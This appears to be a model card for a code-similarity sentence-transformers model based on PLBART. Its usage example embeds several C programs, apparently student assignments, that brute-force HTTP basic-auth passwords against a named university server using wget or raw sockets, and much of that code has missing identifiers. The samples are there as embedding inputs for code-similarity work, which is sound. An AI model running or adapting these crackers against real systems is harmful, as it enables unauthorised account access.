Sentence Similarity
sentence-transformers
Safetensors
plbart
feature-extraction
dense
Generated from Trainer
dataset_size:3081
loss:BatchAllTripletLoss
Instructions to use buelfhood/SOCO-C-PLBART-ST with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- sentence-transformers
How to use buelfhood/SOCO-C-PLBART-ST with sentence-transformers:
from sentence_transformers import SentenceTransformer model = SentenceTransformer("buelfhood/SOCO-C-PLBART-ST") sentences = [ "\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\nint () \n{\n int i,j,k,cntr=0;\n char pass[3];\n char password[3];\n char get[96];\n char username[]=\"\";\n int R_VALUE;\n double time_used;\n \n clock_t ,end; \n \n =clock(); \n \n \n \n for (i = 65; i <= 122; i++)\n {\n if(i==91) {i=97;}\n \n for (j = 65; j <= 122; j++)\n\t {\n if(j==91) {j=97;}\n \n for (k = 65; k <= 122; k++)\n\t\t {\n if(k==91) {k=97;} \n \n pass[0] = i;\n pass[1] = j;\n\t pass[2] = k;\n sprintf(password,\"%c%c%c\",pass[0],pass[1],pass[2]); \n cntr++;\n\t \n\t\t\t printf(\"%d )%s\\n\\n\", cntr, password);\n sprintf(get,\"wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/\",username,password);\n \n\n\t R_VALUE=system(get);\n\t \n\t if(R_VALUE==0) \n\t\t\t {\n\t\t printf(\"The Password has been cracked and it is : %s\" , password);\n\t\t exit(0);\n\t\t\t }\n\t\t }\n \n\t }\n \n }\n \n end = clock();\n\ntime_used = ((double) (end - )) / CLOCKS_PER_SEC;\n\nprintf(\"time_used = %f\\n\", time_used);\n}\n\n", "\n\n\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <time.h>\n#include <netdb.h>\n#include <unistd.h>\n#include <netinet/in.h>\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <sys/time.h>\n#include <arpa/inet.h>\n#include <errno.h>\n#include <signal.h>\n\n#define BUFFER_SIZE 2000\n#define RETURN_OK 0\n#define RETURN_ERROR 1\n#define TRUE 1\n#define FALSE 0\n#define PASSWORD_LENGTH 3\n\n#define STATUS_OK 200\n#define STATUS_AUTH_REQUIRED 401\n#define CONN_CLOSED 2\n\n\nchar *host;\nchar *filename;\nint ;\nchar *url;\nchar *username;\nint attempt;\nstruct sockaddr_in serverAddr;\n\n\nvoid processArguments(int, char **argv, char **, char **);\nvoid printUsage(char *);\nvoid splitURL(const char *, char **, char **);\nint openConnection();\nvoid initialiseConnection();\nvoid sendRequest(int, char *, char *, char *, char *);\nint getResponseStatus(int);\nvoid base64_encode(const unsigned char *, unsigned char *);\nvoid getHostErrorMsg(char *);\nvoid generatePassword(char *, int);\nvoid testPassword(char *);\n\n\n\n\nint main(int argc, char *argv[])\n{\n char password[PASSWORD_LENGTH+1];\n int i;\n\n \n\n attempt = 0;\n processArguments(argc, argv, &url, &username);\n splitURL(url, &host, &filename);\n\n initialiseConnection();\n = openConnection();\n\n \n\n for (i=1; i<=PASSWORD_LENGTH; i++)\n {\n memset(password, 0, PASSWORD_LENGTH+1);\n generatePassword(password, i);\n }\n\n printf(\"The password has not been cracked\\n\");\n exit(RETURN_OK);\n\n}\n\n\n\n\nvoid generatePassword(char *password, int reqLength)\n{\n static const char *chars = \n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n\n int currLength;\n int i;\n\n currLength = strlen(password);\n currLength++;\n\n for (i=0; i<strlen(chars); i++)\n {\n password[currLength-1] = chars[i];\n\n if (strlen(password) != reqLength)\n {\n \n generatePassword(password, reqLength);\n }\n else\n {\n testPassword(password);\n }\n\n password[currLength] = '\\0';\n }\n}\n\n\n\n\nvoid testPassword(char *password)\n{\n int status;\n\n attempt++;\n\n \nTestPassword:\n sendRequest(, host, filename, username, password);\n status = getResponseStatus();\n\n if (status == STATUS_OK)\n {\n printf(\"The password has been found after %d attempts: %s\\n\",\n attempt, password);\n exit(RETURN_OK);\n }\n else if (status == CONN_CLOSED)\n {\n \n ();\n = openConnection();\n goto TestPassword; \n }\n else if (status != STATUS_AUTH_REQUIRED)\n {\n printf(\"Status %d received from server\\n\", status);\n exit(RETURN_ERROR);\n }\n\n}\n\n\n\n\nvoid processArguments(int argc, char *argv[], char **url, char **username)\n{\n if (argc != 3)\n {\n printUsage(argv[0]);\n exit(1);\n }\n\n *url = (char *) malloc(strlen(argv[1] + 1));\n strcpy(*url, argv[1]);\n\n *username = (char *) malloc(strlen(argv[2] + 1));\n strcpy(*username, argv[2]);\n\n}\n\n\n\n\n\nvoid printUsage(char *program)\n{\n fprintf(stderr, \"Usage:\\n\");\n fprintf(stderr, \"%s url username\\n\", program);\n}\n\n\n\n\nvoid splitURL(const char *url, char **host, char **file)\n{\n char *p1; \n char *p2;\n\n \n p1 = strstr(url, \"//\");\n if (p1 == NULL)\n p1 = (char *) url;\n else\n p1 = p1 + 2;\n\n \n p2 = strstr(p1, \"/\");\n if (p2 == NULL)\n {\n fprintf(stderr, \"Invalid url\\n\");\n exit(RETURN_ERROR);\n }\n\n *host = (char *) malloc(p2-p1+2);\n strncpy(*host, p1, p2-p1);\n (*host)[p2-p1] = '\\0';\n\n *file = (char *) malloc(strlen(p2+1));\n strcpy(*file, p2);\n\n}\n\n\n\n\nvoid sendRequest(int , char *host, char *filename, char *username, \n char *password)\n{\n char message[BUFFER_SIZE];\n unsigned char encoded[BUFFER_SIZE];\n unsigned char token[BUFFER_SIZE];\n\n \n\n \n sprintf((char *) token, \"%s:%s\", username, password);\n base64_encode(token, encoded);\n\n sprintf(message, \"GET %s HTTP/1.1\\nHost: %s\\nAuthorization: %s\\n\\n\",\n filename, host, encoded);\n\n if (write(, message, strlen(message)) == -1)\n {\n perror(\"\");\n exit(RETURN_ERROR);\n }\n}\n\n\n\n\nint getResponseStatus()\n{\n char message[BUFFER_SIZE];\n int bytesRead;\n char *p1;\n char status_str[4];\n int status;\n\n \n\n while (TRUE)\n {\n bytesRead = (, message, BUFFER_SIZE-1);\n if (bytesRead == -1)\n {\n perror(\"\");\n exit(RETURN_ERROR);\n }\n else if (bytesRead == 0)\n {\n \n return CONN_CLOSED;\n }\n\n message[bytesRead+1] = '\\0';\n\n \n p1 = strstr(message, \"HTTP\");\n if (p1 != NULL)\n {\n p1 = p1 + 9;\n break;\n }\n }\n\n strncpy(status_str, p1, 3);\n status_str[3] = '\\0';\n status = atol(status_str);\n\n return status;\n}\n\n\n\n\nint openConnection()\n{\n int ;\n\n if (( = socket(AF_INET, SOCK_STREAM, 0)) == -1)\n {\n perror(\"\");\n exit(RETURN_ERROR);\n }\n\n if (connect(, (struct sockaddr *) &serverAddr, sizeof(serverAddr)) == -1)\n {\n perror(\"connect\");\n exit(RETURN_ERROR);\n }\n\n return ;\n}\n\n\n\n\nvoid initialiseConnection()\n{\n struct hostent *serverHostent;\n unsigned serverIP;\n char errorMsg[BUFFER_SIZE]; \n\n\n \n\n memset(&serverAddr, 0, sizeof(serverAddr));\n serverAddr.sin_port = htons(80);\n\n\n if ((serverIP = inet_addr(host)) != -1)\n {\n serverAddr.sin_family = AF_INET;\n serverAddr.sin_addr.s_addr = serverIP;\n }\n else if ((serverHostent = gethostbyname(host)) != NULL)\n {\n\tserverAddr.sin_family = serverHostent->h_addrtype;\n memcpy((void *) &serverAddr.sin_addr,\n\t\t (void *) serverHostent->h_addr, serverHostent->h_length);\n }\n else\n {\n getHostErrorMsg(errorMsg);\n printf(\"%s: %s\\n\", host, errorMsg);\n exit(RETURN_ERROR);\n }\n}\n\n\n\n \nvoid base64_encode(const unsigned char *input, unsigned char *output)\n{\n static const char *codes = \n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n int i;\n int len;\n int lenfull;\n unsigned char *p;\n int a;\n int b;\n int c;\n \n p = output;\n len = strlen((char *) input);\n\n \n\n lenfull = 3*(len / 3);\n for (i = 0; i < lenfull; i += 3) \n {\n *p++ = codes[input[0] >> 2];\n *p++ = codes[((input[0] & 3) << 4) + (input[1] >> 4)];\n *p++ = codes[((input[1] & 0xf) << 2) + (input[2] >> 6)];\n *p++ = codes[input[2] & 0x3f];\n input += 3;\n }\n\n\n \n\n if (i < len)\n {\n a = input[0];\n b = (i+1 < len) ? input[1] : 0;\n c = 0;\n\n *p++ = codes[a >> 2];\n *p++ = codes[((a & 3) << 4) + (b >> 4)];\n *p++ = (i+1 < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '=';\n *p++ = '=';\n }\n\n \n *p = '\\0';\n \n}\n\n\n\n\nvoid getHostErrorMsg(char *message)\n{\n switch (h_errno)\n {\n HOST_NOT_FOUND :\n strcpy(message, \"The specified host is unknown\");\n break;\n\n NO_DATA:\n strcpy(message, \"The specified host name is valid, but does not have address\");\n break;\n\n NO_RECOVERY:\n strcpy(message, \"A non-recoverable name server error occurred\");\n break;\n\n TRY_AGAIN:\n strcpy(message, \"A temporary error occurred authoritative name server. Try again later.\");\n break;\n\n default:\n strcpy(message, \" unknown name server error occurred.\");\n }\n}\n\n", "\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/times.h>\n#include <strings.h>\n#include <ctype.h>\n#define OneBillion 1e9 \n\nint (){\n int i=65,j=65,k=65,count=0,res=1;\n char arry[3],send[100];\n int startTime, stopTime, final;\n startTime = time();\n for(i;i<123;i++){\n if(i<91 || i>96){\n arry[0]=i;\n\t j=65;\n\t for(j;j<123;j++){\n\t if(j<91 || j>96){\n\t arry[1]=j;\n\t k=65;\n\t for(k;k<123;k++){\n\t\t if(k<91 || k>96){\n\t\t arry[2]=k;\n\t\t arry[3]='\\0';\n\t\t strcpy(send,\"wget --http-user= --http-passwd=\");\n\t\t strcat(send,arry);\n\t\t strcat(send,\" http://sec-crack.cs.rmit.edu./SEC/2/\");\n\t\t count++;\n\t if((res=(system(send)) == 0)) {\n\t\t stopTime = time();\n\t\t\tfinal = stopTime-startTime;\n\t\t\tprintf(\"\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\\n\",arry,(double)final/OneBillion,count);\n\t\t\texit(1);\n\t\t }\n\t\t }\n\t }\n }\n }\n }\n }\n printf(\"\\npassword not found\\n\");\n exit(1);\n}\n", "\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/time.h>\n#include <strings.h>\n#include <ctype.h>\n\nint ()\n{\n char word[15], *chk;\n system(\"wget -p --convert-links http://www.cs.rmit.edu./students/\");\n system(\"mkdir one\");\n system(\"mv www.cs.rmit.edu./images/*.* one/\");\n system(\"mv www.cs.rmit.edu./students/*.* one/\");\n sleep(15);\n system(\"wget -p --convert-links http://www.cs.rmit.edu./students/\");\n system(\"mkdir two\");\n system(\"mv www.cs.rmit.edu./images/*.* two/\");\n system(\"mv www.cs.rmit.edu./students/*.* two/\");\n system(\"diff one two > difference.txt\");\n system(\"mailx -s \\\"Message1\\\" < difference.txt\");\n return 0;\n}\n" ] embeddings = model.encode(sentences) similarities = model.similarity(embeddings, embeddings) print(similarities.shape) # [4, 4] - Notebooks
- Google Colab
- Kaggle
Welcome to the community
The community tab is the place to discuss and collaborate with the HF community!